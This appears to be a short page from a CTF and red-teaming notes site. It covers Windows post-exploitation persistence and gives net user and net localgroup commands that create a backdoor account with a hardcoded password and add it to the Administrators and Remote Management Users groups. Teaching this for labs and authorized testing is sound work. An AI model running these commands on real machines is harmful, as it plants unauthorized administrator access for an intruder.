> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/post-exploitation/windows-post-exploitation/add-a-user.md).

# Add a User

Once we get a SYSTEM shell on the victim machine, we can add a user for persistence. For example, create user `ret2basic:password1337`:

```bash
net user ret2basic password1337 /add
```

Add this user to "Administrator" group and "Remote Management Users" group:

```bash
net localgroup Administrators ret2basic /add  
net localgroup "Remote Management Users" ret2basic /add
```